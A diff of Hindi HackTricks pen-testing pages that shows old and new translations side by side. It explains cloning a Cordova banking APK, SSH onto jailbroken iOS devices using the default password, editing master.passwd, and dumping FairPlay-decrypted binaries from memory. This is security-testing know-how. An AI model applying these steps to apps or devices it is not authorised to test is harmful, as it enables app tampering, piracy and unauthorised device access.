Apache Cordova को **JavaScript, HTML, और CSS** का उपयोग करके **हाइब्रिड एप्लिकेशन** विकसित करने के लिए जाना जाता है। यह Android और iOS एप्लिकेशन बनाने की अनुमति देता है; हालाँकि, इसमें एप्लिकेशन के स्रोत कोड को सुरक्षित करने के लिए कोई डिफ़ॉल्ट तंत्र नहीं है। React Native की तुलना में, Cordova डिफ़ॉल्ट रूप से स्रोत कोड को संकलित नहीं करता है, जो कोड छेड़छाड़ की कमजोरियों का कारण बन सकता है। Cordova एप्लिकेशन को रेंडर करने के लिए WebView का उपयोग करता है, जो HTML और JavaScript कोड को APK या IPA फ़ाइलों में संकलित होने के बाद भी उजागर करता है। इसके विपरीत, React Native JavaScript कोड को निष्पादित करने के लिए एक JavaScript VM का उपयोग करता है, जो बेहतर स्रोत कोड सुरक्षा प्रदान करता है।
|
||||||
|
|
||||||
### Cordova एप्लिकेशन क्लोनिंग
|
### Cordova एप्लिकेशन को क्लोन करना
|
||||||
|
|
||||||
Cordova एप्लिकेशन को क्लोन करने से पहले, सुनिश्चित करें कि NodeJS के साथ Android SDK, Java JDK, और Gradle जैसे अन्य पूर्वापेक्षाएँ स्थापित हैं। आधिकारिक Cordova [दस्तावेज़ीकरण](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) इन स्थापनाओं के लिए एक व्यापक मार्गदर्शिका प्रदान करता है।
|
Cordova एप्लिकेशन को क्लोन करने से पहले, सुनिश्चित करें कि NodeJS अन्य पूर्वापेक्षाओं जैसे Android SDK, Java JDK, और Gradle के साथ स्थापित है। आधिकारिक Cordova [दस्तावेज़](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) इन इंस्टॉलेशन के लिए एक व्यापक गाइड प्रदान करता है।
|
||||||
|
|
||||||
एक उदाहरण एप्लिकेशन `Bank.apk` को मान लें जिसका पैकेज नाम `com.android.bank` है। स्रोत को पहुंचने के लिए, `bank.apk` को अनज़िप करें और `bank/assets/www` फ़ोल्डर में जाएं। यह फ़ोल्डर एप्लिकेशन के पूरे स्रोत को समेत HTML और JS फ़ाइलें समेत है। एप्लिकेशन का विन्यास `bank/res/xml/config.xml` में मिल सकता है।
|
एक उदाहरण एप्लिकेशन का नाम `Bank.apk` है जिसका पैकेज नाम `com.android.bank` है। स्रोत कोड तक पहुँचने के लिए, `bank.apk` को अनज़िप करें और `bank/assets/www` फ़ोल्डर में जाएँ। इस फ़ोल्डर में एप्लिकेशन का पूरा स्रोत कोड है, जिसमें HTML और JS फ़ाइलें शामिल हैं। एप्लिकेशन की कॉन्फ़िगरेशन `bank/res/xml/config.xml` में मिल सकती है।
|
||||||
|
|
||||||
एप्लिकेशन को क्लोन करने के लिए, निम्नलिखित चरणों का पालन करें:
|
एप्लिकेशन को क्लोन करने के लिए, इन चरणों का पालन करें:
|
||||||
```bash
|
```bash
|
||||||
npm install -g cordova@latest
|
npm install -g cordova@latest
|
||||||
cordova create bank-new com.android.bank Bank
|
cordova create bank-new com.android.bank Bank
|
||||||
cd bank-new
|
cd bank-new
|
||||||
```
|
```
|
||||||
कॉर्डोवा प्रोजेक्ट बनाते समय `bank/assets/www` की सामग्री को `bank-new/www` में कॉपी करें, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, और `plugins/` नामक निर्देशिका को छोड़कर।
|
`bank/assets/www` की सामग्री को `bank-new/www` में कॉपी करें, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, और `plugins/` निर्देशिका को छोड़कर।
|
||||||
|
|
||||||
नए कॉर्डोवा प्रोजेक्ट बनाते समय प्लेटफॉर्म (एंड्रॉइड या आईओएस) को स्पष्ट करें। एंड्रॉइड ऐप क्लोन करने के लिए, एंड्रॉइड प्लेटफॉर्म जोड़ें। ध्यान दें कि कॉर्डोवा के प्लेटफॉर्म संस्करण और एंड्रॉइड API स्तर अलग-अलग होते हैं। प्लेटफॉर्म संस्करण और समर्थित एंड्रॉइड API के बारे में विवरण के लिए कॉर्डोवा [दस्तावेज़ीकरण](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) का संदर्भ लें।
|
नए Cordova प्रोजेक्ट बनाते समय प्लेटफ़ॉर्म (Android या iOS) निर्दिष्ट करें। Android ऐप को क्लोन करने के लिए, Android प्लेटफ़ॉर्म जोड़ें। ध्यान दें कि Cordova के प्लेटफ़ॉर्म संस्करण और Android API स्तर अलग हैं। प्लेटफ़ॉर्म संस्करणों और समर्थित Android APIs के विवरण के लिए Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) देखें।
|
||||||
|
|
||||||
उपयुक्त कॉर्डोवा एंड्रॉइड प्लेटफॉर्म संस्करण निर्धारित करने के लिए, मूल एप्लिकेशन के `cordova.js` फ़ाइल में `PLATFORM_VERSION_BUILD_LABEL` की जाँच करें।
|
उचित Cordova Android प्लेटफ़ॉर्म संस्करण निर्धारित करने के लिए, मूल एप्लिकेशन के `cordova.js` फ़ाइल में `PLATFORM_VERSION_BUILD_LABEL` की जांच करें।
|
||||||
|
|
||||||
प्लेटफॉर्म सेट करने के बाद, आवश्यक प्लगइन्स को इंस्टॉल करें। मूल एप्लिकेशन की `bank/assets/www/cordova_plugins.js` फ़ाइल में सभी प्लगइन्स और उनके संस्करणों की सूची होती है। नीचे दिए गए तरीके से प्रत्येक प्लगइन को अलग-अलग इंस्टॉल करें:
|
प्लेटफ़ॉर्म सेट करने के बाद, आवश्यक प्लगइन्स स्थापित करें। मूल एप्लिकेशन के `bank/assets/www/cordova_plugins.js` फ़ाइल में सभी प्लगइन्स और उनके संस्करणों की सूची है। नीचे दिखाए अनुसार प्रत्येक प्लगइन को व्यक्तिगत रूप से स्थापित करें:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||||
|
@ -46,32 +47,33 @@ cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||||
```
|
```
|
||||||
सुनिश्चित करें कि सभी पूर्वापेक्षाएं पूरी हों पहले कंपाइल करने से:
|
सुनिश्चित करें कि संकलन से पहले सभी पूर्वापेक्षाएँ पूरी हों:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova requirements
|
cordova requirements
|
||||||
```
|
```
|
||||||
एपीके बनाने के लिए, निम्नलिखित कमांड का उपयोग करें:
|
APK बनाने के लिए, निम्नलिखित कमांड का उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova build android — packageType=apk
|
cordova build android — packageType=apk
|
||||||
```
|
```
|
||||||
यह कमांड APK उत्पन्न करती है जिसमें डीबग विकल्प सक्षम होता है, जिससे Google Chrome के माध्यम से डीबगिंग सुविधाएं सुविधाजनक होती हैं। APK को साइन करना महत्वपूर्ण है इंस्टॉलेशन से पहले, खासकर अगर एप्लिकेशन में कोड टैम्परिंग की डिटेक्शन मेकेनिज़म शामिल है।
|
यह कमांड एक APK उत्पन्न करता है जिसमें डिबग विकल्प सक्षम होता है, जो Google Chrome के माध्यम से डिबगिंग को सुविधाजनक बनाता है। स्थापना से पहले APK पर हस्ताक्षर करना महत्वपूर्ण है, विशेष रूप से यदि एप्लिकेशन में कोड छेड़छाड़ पहचान तंत्र शामिल हैं।
|
||||||
|
|
||||||
### स्वचालन उपकरण
|
### Automation Tool
|
||||||
|
|
||||||
उन लोगों के लिए जो क्लोनिंग प्रक्रिया को स्वचालित करना चाहते हैं, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** एक सुझाया गया उपकरण है। यह एंड्रॉइड एप्लिकेशन क्लोनिंग को सरल बनाता है, ऊपर दिए गए चरणों को सरल बनाता है।
|
उन लोगों के लिए जो क्लोनिंग प्रक्रिया को स्वचालित करना चाहते हैं, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** एक अनुशंसित उपकरण है। यह Android एप्लिकेशनों के क्लोनिंग को सरल बनाता है, ऊपर बताए गए चरणों को आसान बनाता है।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,35 @@
|
||||||
# iOS मूल टेस्टिंग ऑपरेशन्स
|
# iOS Basic Testing Operations
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **iOS डिवाइस पहचान और पहुंच का सारांश**
|
## **iOS डिवाइस पहचान और पहुंच का सारांश**
|
||||||
|
|
||||||
### **iOS डिवाइस की UDID की पहचान**
|
### **iOS डिवाइस का UDID पहचानना**
|
||||||
|
|
||||||
एक iOS डिवाइस को अद्वितीय रूप से पहचानने के लिए, एक 40-अंकी अनुक्रमिकता जिसे UDID के रूप में जाना जाता है, का उपयोग किया जाता है। macOS Catalina या नएरे में, यह **Finder ऐप** में पाया जा सकता है, क्योंकि iTunes अब और मौजूद नहीं है। डिवाइस, जब USB के माध्यम से कनेक्ट किया जाता है और फाइंडर में चयनित किया जाता है, तो जब उसके नाम के नीचे विवरणों पर क्लिक किया जाता है, तो अपना UDID दिखाता है।
|
iOS डिवाइस को अद्वितीय रूप से पहचानने के लिए, 40 अंकों का अनुक्रम जिसे UDID कहा जाता है, का उपयोग किया जाता है। macOS Catalina या नए संस्करणों पर, इसे **Finder ऐप** में पाया जा सकता है, क्योंकि iTunes अब मौजूद नहीं है। जब डिवाइस को USB के माध्यम से कनेक्ट किया जाता है और Finder में चुना जाता है, तो इसके नाम के तहत विवरण पर क्लिक करने पर UDID अन्य जानकारी के साथ प्रकट होता है।
|
||||||
|
|
||||||
Catalina से पहले macOS के संस्करणों के लिए, iTunes UDID की खोज को सुविधाजनक बनाता है। विस्तृत निर्देश यहाँ पाए जा सकते हैं [यहाँ](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)।
|
macOS के Catalina से पहले के संस्करणों के लिए, iTunes UDID की खोज में सहायता करता है। विस्तृत निर्देश [यहां](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) मिल सकते हैं।
|
||||||
|
|
||||||
कमांड-लाइन उपकरण विकल्पिक तरीके प्रदान करते हैं UDID प्राप्त करने के लिए:
|
कमांड-लाइन उपकरण UDID प्राप्त करने के वैकल्पिक तरीके प्रदान करते हैं:
|
||||||
|
|
||||||
* **I/O रजिस्ट्री एक्सप्लोरर उपकरण `ioreg` का उपयोग करके:**
|
* **I/O Registry Explorer टूल `ioreg` का उपयोग करते हुए:**
|
||||||
```bash
|
```bash
|
||||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||||
```
|
```
|
||||||
* **मैकओएस (और लिनक्स) के लिए `ideviceinstaller` का उपयोग:**
|
* **`ideviceinstaller` का उपयोग macOS (और Linux) के लिए:**
|
||||||
```bash
|
```bash
|
||||||
$ brew install ideviceinstaller
|
$ brew install ideviceinstaller
|
||||||
$ idevice_id -l
|
$ idevice_id -l
|
||||||
|
@ -37,42 +38,42 @@ $ idevice_id -l
|
||||||
```bash
|
```bash
|
||||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||||
```
|
```
|
||||||
* **उपकरणों की सूची बनाने के लिए `उपकरण` का उपयोग करना:**
|
* **`instruments` का उपयोग करके उपकरणों की सूची बनाना:**
|
||||||
```bash
|
```bash
|
||||||
$ instruments -s devices
|
$ instruments -s devices
|
||||||
```
|
```
|
||||||
### **डिवाइस शैल तक पहुंचना**
|
### **डिवाइस शेल तक पहुँचना**
|
||||||
|
|
||||||
**SSH एक्सेस** को **OpenSSH पैकेज** को इंस्टॉल करके जेलब्रेक के बाद सक्षम किया जाता है, जिससे `ssh root@<device_ip_address>` के माध्यम से कनेक्शन स्थापित किया जा सकता है। उपयोगकर्ताओं `root` और `mobile` के लिए डिफ़ॉल्ट पासवर्ड (`alpine`) को सुरक्षित बनाना महत्वपूर्ण है।
|
**SSH पहुँच** को **OpenSSH पैकेज** को जेलब्रेक के बाद स्थापित करके सक्षम किया जाता है, जो `ssh root@<device_ip_address>` के माध्यम से कनेक्शन की अनुमति देता है। डिवाइस को सुरक्षित करने के लिए उपयोगकर्ताओं `root` और `mobile` के लिए डिफ़ॉल्ट पासवर्ड (`alpine`) को बदलना महत्वपूर्ण है।
|
||||||
|
|
||||||
**USB के माध्यम से SSH** की आवश्यकता होती है जब वाई-फाई की अनुपस्थिति में, `iproxy` का उपयोग करके डिवाइस पोर्ट को मैप करने के लिए। यह सेटअप USB के माध्यम से SSH एक्सेस सक्षम करता है जिसे निम्नलिखित को चलाकर प्रारंभ किया जा सकता है:
|
**USB के माध्यम से SSH** Wi-Fi की अनुपस्थिति में आवश्यक हो जाता है, `iproxy` का उपयोग करके SSH कनेक्शनों के लिए डिवाइस पोर्ट को मैप करने के लिए। यह सेटअप USB के माध्यम से SSH पहुँच सक्षम करता है, इसे चलाकर:
|
||||||
```bash
|
```bash
|
||||||
$ iproxy 2222 22
|
$ iproxy 2222 22
|
||||||
$ ssh -p 2222 root@localhost
|
$ ssh -p 2222 root@localhost
|
||||||
```
|
```
|
||||||
**ऑन-डिवाइस शैल एप्लिकेशन**, जैसे NewTerm 2, सीधे डिवाइस इंटरेक्शन को सुविधाजनक बनाते हैं, विशेष रूप से समस्या निवारण के लिए उपयोगी। **रिवर्स SSH शैल** भी होस्ट कंप्यूटर से रिमोट एक्सेस के लिए स्थापित किए जा सकते हैं।
|
**On-device shell applications**, जैसे NewTerm 2, सीधे डिवाइस इंटरैक्शन को सुविधाजनक बनाते हैं, जो समस्या निवारण के लिए विशेष रूप से उपयोगी है। **Reverse SSH shells** को होस्ट कंप्यूटर से दूरस्थ पहुंच के लिए भी स्थापित किया जा सकता है।
|
||||||
|
|
||||||
### **भूले हुए पासवर्ड रीसेट करना**
|
### **Resetting Forgotten Passwords**
|
||||||
|
|
||||||
भूले हुए पासवर्ड को डिफ़ॉल्ट (`alpine`) पर रीसेट करने के लिए, `/private/etc/master.passwd` फ़ाइल को संपादित करना आवश्यक है। इसमें मौजूदा हैश को `root` और `mobile` उपयोगकर्ता एंट्री के बगल में `alpine` के लिए हैश के साथ प्रतिस्थापित करना शामिल है।
|
भूल गए पासवर्ड को डिफ़ॉल्ट (`alpine`) पर रीसेट करने के लिए, `/private/etc/master.passwd` फ़ाइल को संपादित करना आवश्यक है। इसमें मौजूदा हैश को `root` और `mobile` उपयोगकर्ता प्रविष्टियों के बगल में `alpine` के लिए हैश के साथ बदलना शामिल है।
|
||||||
|
|
||||||
## **डेटा स्थानांतरण तकनीकें**
|
## **Data Transfer Techniques**
|
||||||
|
|
||||||
### **एप्लिकेशन डेटा फ़ाइलें स्थानांतरित करना**
|
### **Transferring App Data Files**
|
||||||
|
|
||||||
**SSH और SCP के माध्यम से संग्रहण और पुनर्प्राप्ति:** एप्लिकेशन के डेटा निर्देशिका को `tar` का उपयोग करके संग्रहीत करना और फिर इसे `scp` का उपयोग करके स्थानांतरित करना सरल है। नीचे दिया गया कमांड डेटा निर्देशिका को .tgz फ़ाइल में संग्रहित करता है, जिसे फिर डिवाइस से खींचा जाता है:
|
**Archiving and Retrieval via SSH and SCP:** एप्लिकेशन के Data निर्देशिका को `tar` का उपयोग करके संग्रहित करना और फिर `scp` का उपयोग करके स्थानांतरित करना सीधा है। नीचे दिया गया कमांड Data निर्देशिका को .tgz फ़ाइल में संग्रहित करता है, जिसे फिर डिवाइस से खींचा जाता है:
|
||||||
```bash
|
```bash
|
||||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||||
exit
|
exit
|
||||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||||
```
|
```
|
||||||
### **ग्राफिकल यूज़र इंटरफ़ेस टूल्स**
|
### **ग्राफिकल यूजर इंटरफेस टूल्स**
|
||||||
|
|
||||||
**iFunbox और iExplorer का उपयोग:** ये GUI टूल iOS उपकरणों पर फ़ाइलों को प्रबंधित करने के लिए उपयोगी हैं। हालांकि, iOS 8.4 के साथ शुरू करके, Apple ने इन टूल्स का पहुंच को एप्लिकेशन सैंडबॉक्स तक प्रतिबंधित कर दिया है जब तक डिवाइस जेलब्रोकन न हो।
|
**iFunbox और iExplorer का उपयोग करना:** ये GUI टूल iOS उपकरणों पर फ़ाइलों को प्रबंधित करने के लिए उपयोगी हैं। हालाँकि, iOS 8.4 से शुरू होकर, Apple ने इन टूल्स की पहुँच को एप्लिकेशन सैंडबॉक्स तक सीमित कर दिया है जब तक कि उपकरण जेलब्रोकन न हो।
|
||||||
|
|
||||||
### **फ़ाइल प्रबंधन के लिए Objection का उपयोग**
|
### **फ़ाइल प्रबंधन के लिए Objection का उपयोग करना**
|
||||||
|
|
||||||
**Objection के साथ इंटरैक्टिव शैल:** Objection को लॉन्च करने से एक ऐप के Bundle निर्देशिका तक पहुंच मिलती है। यहाँ से, आप ऐप के दस्तावेज़ निर्देशिका तक नेविगेट कर सकते हैं और फ़ाइलों का प्रबंधन कर सकते हैं, जिसमें iOS उपकरण से फ़ाइलें डाउनलोड और अपलोड करना शामिल है।
|
**Objection के साथ इंटरएक्टिव शेल:** Objection लॉन्च करने से एक ऐप के Bundle निर्देशिका तक पहुँच मिलती है। यहाँ से, आप ऐप के Documents निर्देशिका में नेविगेट कर सकते हैं और फ़ाइलों का प्रबंधन कर सकते हैं, जिसमें उन्हें iOS उपकरण से डाउनलोड और अपलोड करना शामिल है।
|
||||||
```bash
|
```bash
|
||||||
objection --gadget com.apple.mobilesafari explorer
|
objection --gadget com.apple.mobilesafari explorer
|
||||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||||
|
@ -82,19 +83,19 @@ file download <filename>
|
||||||
|
|
||||||
### **IPA फ़ाइल प्राप्त करना**
|
### **IPA फ़ाइल प्राप्त करना**
|
||||||
|
|
||||||
**ओवर-द-एयर (OTA) वितरण लिंक:** OTA के माध्यम से टेस्टिंग के लिए वितरित ऐप्स को ITMS सेवाओं एसेट डाउनलोडर टूल का उपयोग करके डाउनलोड किया जा सकता है, जो npm के माध्यम से स्थापित किया गया है और उपयोग किया जाता है ताकि IPA फ़ाइल को स्थानीय रूप से सहेजा जा सके।
|
**ओवर-दी-एयर (OTA) वितरण लिंक:** परीक्षण के लिए OTA के माध्यम से वितरित ऐप्स को ITMS सेवाओं के संपत्ति डाउनलोडर टूल का उपयोग करके डाउनलोड किया जा सकता है, जिसे npm के माध्यम से स्थापित किया गया है और स्थानीय रूप से IPA फ़ाइल को सहेजने के लिए उपयोग किया जाता है।
|
||||||
```bash
|
```bash
|
||||||
npm install -g itms-services
|
npm install -g itms-services
|
||||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||||
```
|
```
|
||||||
### **ऐप बाइनरी निकालना**
|
### **ऐप बाइनरी निकालना**
|
||||||
|
|
||||||
1. **आईपीए से:** आईपीए को अनज़िप करें ताकि डिक्रिप्ट किया गया ऐप बाइनरी तक पहुंचा जा सके।
|
1. **IPA से:** IPA को अनज़िप करें ताकि डिक्रिप्टेड ऐप बाइनरी तक पहुंचा जा सके।
|
||||||
2. **जेलब्रोकन डिवाइस से:** ऐप को इंस्टॉल करें और मेमोरी से डिक्रिप्ट किया गया बाइनरी निकालें।
|
2. **जेलब्रोकन डिवाइस से:** ऐप इंस्टॉल करें और मेमोरी से डिक्रिप्टेड बाइनरी निकालें।
|
||||||
|
|
||||||
### **डिक्रिप्शन प्रक्रिया**
|
### **डिक्रिप्शन प्रक्रिया**
|
||||||
|
|
||||||
**मैन्युअल डिक्रिप्शन अवलोकन:** iOS ऐप बाइनरी को Apple द्वारा FairPlay का उपयोग करके एन्क्रिप्ट किया जाता है। उलटा इंजीनियरिंग करने के लिए, व्यक्ति को मेमोरी से डिक्रिप्ट किया बाइनरी डंप करना होगा। डिक्रिप्शन प्रक्रिया में PIE फ्लैग की जांच करना, मेमोरी फ्लैग को समायोजित करना, एन्क्रिप्टेड सेक्शन की पहचान करना, और फिर इस सेक्शन को उसके डिक्रिप्टेड रूप में डंप और पुनः स्थानांतरित करना शामिल है।
|
**मैनुअल डिक्रिप्शन अवलोकन:** iOS ऐप बाइनरी को Apple द्वारा FairPlay का उपयोग करके एन्क्रिप्ट किया गया है। रिवर्स-इंजीनियरिंग के लिए, डिक्रिप्टेड बाइनरी को मेमोरी से डंप करना आवश्यक है। डिक्रिप्शन प्रक्रिया में PIE फ्लैग की जांच करना, मेमोरी फ्लैग को समायोजित करना, एन्क्रिप्टेड सेक्शन की पहचान करना, और फिर इस सेक्शन को इसके डिक्रिप्टेड रूप के साथ डंप और बदलना शामिल है।
|
||||||
|
|
||||||
**PIE फ्लैग की जांच और संशोधन:**
|
**PIE फ्लैग की जांच और संशोधन:**
|
||||||
```bash
|
```bash
|
||||||
|
@ -102,74 +103,72 @@ otool -Vh Original_App
|
||||||
python change_macho_flags.py --no-pie Original_App
|
python change_macho_flags.py --no-pie Original_App
|
||||||
otool -Vh Hello_World
|
otool -Vh Hello_World
|
||||||
```
|
```
|
||||||
**एन्क्रिप्टेड सेक्शन की पहचान और मेमोरी डंप करना:**
|
**एन्क्रिप्टेड सेक्शन की पहचान करना और मेमोरी डंप करना:**
|
||||||
|
|
||||||
`otool` का उपयोग करके एन्क्रिप्टेड सेक्शन की शुरुआत और समाप्त पते तय करें और gdb का उपयोग करके जेलब्रोकन डिवाइस से मेमोरी डंप करें।
|
`otool` का उपयोग करके एन्क्रिप्टेड सेक्शन के प्रारंभ और अंत पते निर्धारित करें और जेलब्रोकन डिवाइस से gdb का उपयोग करके मेमोरी डंप करें।
|
||||||
```bash
|
```bash
|
||||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||||
dump memory dump.bin 0x8000 0x10a4000
|
dump memory dump.bin 0x8000 0x10a4000
|
||||||
```
|
```
|
||||||
**एन्क्रिप्टेड सेक्शन को अधिलेखित करना:**
|
**एन्क्रिप्टेड सेक्शन को ओवरराइट करना:**
|
||||||
|
|
||||||
मूल ऐप बाइनरी में एन्क्रिप्टेड सेक्शन को डिक्रिप्ट किए गए डंप से बदलें।
|
मूल ऐप बाइनरी में एन्क्रिप्टेड सेक्शन को डिक्रिप्टेड डंप से बदलें।
|
||||||
```bash
|
```bash
|
||||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||||
```
|
```
|
||||||
**डिक्रिप्शन को समाप्त करना:** उपकरणों जैसे **MachOView** का उपयोग करके बाइनरी की मेटाडेटा को संशोधित करें ताकि एन्क्रिप्शन की अनुपस्थिति का संकेत मिले, `cryptid` को 0 पर सेट करें।
|
**अंतिम डिक्रिप्शन:** बाइनरी के मेटाडेटा को संशोधित करें ताकि एन्क्रिप्शन की अनुपस्थिति को इंगित किया जा सके, जैसे कि **MachOView** का उपयोग करते हुए, `cryptid` को 0 पर सेट करें।
|
||||||
|
|
||||||
### **डिक्रिप्शन (स्वचालित रूप से)**
|
### **डिक्रिप्शन (स्वचालित रूप से)**
|
||||||
|
|
||||||
#### **frida-ios-dump**
|
#### **frida-ios-dump**
|
||||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) उपकरण का उपयोग **iOS उपकरणों से एप्लिकेशनों को स्वचालित रूप से डिक्रिप्ट और निकालने** के लिए किया जाता है। प्रारंभ में, किसी को iOS उपकरण से कनेक्ट करने के लिए `dump.py` को कॉन्फ़िगर करना होगा, जो **iproxy** के माध्यम से पोर्ट 2222 पर localhost के माध्यम से या सीधे उपकरण के IP पते और पोर्ट के माध्यम से किया जा सकता है।
|
